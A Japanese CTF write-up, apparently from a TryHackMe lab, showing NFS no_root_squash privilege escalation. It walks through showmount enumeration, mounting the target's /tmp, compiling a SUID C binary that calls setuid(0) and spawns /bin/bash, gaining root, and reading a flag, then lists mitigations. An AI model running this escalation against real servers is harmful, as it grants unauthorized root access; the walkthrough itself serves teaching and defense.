はじめに
NFS(Network File System)は、Linux サーバ間でディレクトリを共有する仕組みです。
だが、設定を誤ると 「外部から root 実行権限付きのバイナリを設置できる」 という重大な脆弱性を生みます。
基本構成
設定ファイル /etc/exports を見てみましょう。
$ cat /etc/exports
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
ここで注目すべきは:
no_root_squash
通常、NFS サーバは root からのアクセスを nfsnobody(制限付きユーザ)にマッピングします。
しかし no_root_squash が指定されると、クライアント側の root 権限がそのまま有効になります。
これにより、SUID(Set User ID)付きファイルを作ることでサーバ上で root コードを実行可能になります。
攻撃者側でエクスポート確認
攻撃マシン(Attacker)からターゲットの共有ディレクトリを確認します。
showmount -e 10.201.0.167
出力:
Export list for 10.201.0.167:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
3つの共有フォルダがあり、どれも no_root_squash でエクスポートされています。
共有ディレクトリをマウント
ローカル側に /tmp/backupmachine を作成してマウントします。
mkdir /tmp/backupmachine
mount -o rw 10.201.0.167:/tmp /tmp/backupmachine
ここで /tmp/backupmachine はターゲットの /tmp ディレクトリと同期しています。
root SUID バイナリを作成
攻撃マシン側で小さな C コードを書きます。
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
保存名:nfs.c
コンパイルして SUID を付与:
gcc nfs.c -o /tmp/backupmachine/nfs -w
chmod +s /tmp/backupmachine/nfs
ls -l /tmp/backupmachine/nfs
出力例:
-rwsr-sr-x 1 root root 16784 Nov 7 08:55 nfs
このファイルは NFS 経由でターゲットにも自動的に出現します(同期しているため)。
ターゲット上で確認
ターゲットサーバ側では /tmp/nfs が存在します。
$ ls -l /tmp/nfs
-rwsr-sr-x 1 root root 16784 Nov 7 08:55 nfs
実行:
$ ./nfs
# whoami
root
root 権限を獲得しました!
flag の取得
find / -name flag7.txt 2>/dev/null
/home/matt/flag7.txt
cat /home/matt/flag7.txt
THM-89384012
Flag7: THM-89384012
攻撃の流れまとめ
| ステップ | 攻撃内容 | 結果 |
|---|---|---|
| 1 |
/etc/exports に no_root_squash 確認 |
root マッピング可能 |
| 2 |
showmount -e でエクスポート確認 |
/home/backup, /tmp 等 |
| 3 | 攻撃側でマウント | 書き込み可能に |
| 4 | SUID 付き C バイナリ作成 |
/tmp/nfs がターゲットに反映 |
| 5 | 実行 | root シェル取得 |
| 6 | flag7.txt 読取 | THM-89384012 |
no_root_squash の危険性
| オプション | 説明 |
|---|---|
root_squash |
デフォルト設定。rootユーザを匿名化する(安全) |
no_root_squash |
root権限をそのまま適用(危険) |
all_squash |
すべてのユーザを匿名化 |
anonuid, anongid
|
匿名ユーザのID指定 |
対策:
- NFSサーバでは
no_root_squashを絶対に使用しない - マウント元を信頼できるホストのみに限定
-
/etc/exportsに IP 制限とroot_squashを設定
まとめ
“NFS misconfiguration turns a shared folder into a root shell.”
ネットワーク共有の便利さは、そのまま攻撃面にも直結します。
no_root_squash = no mercy.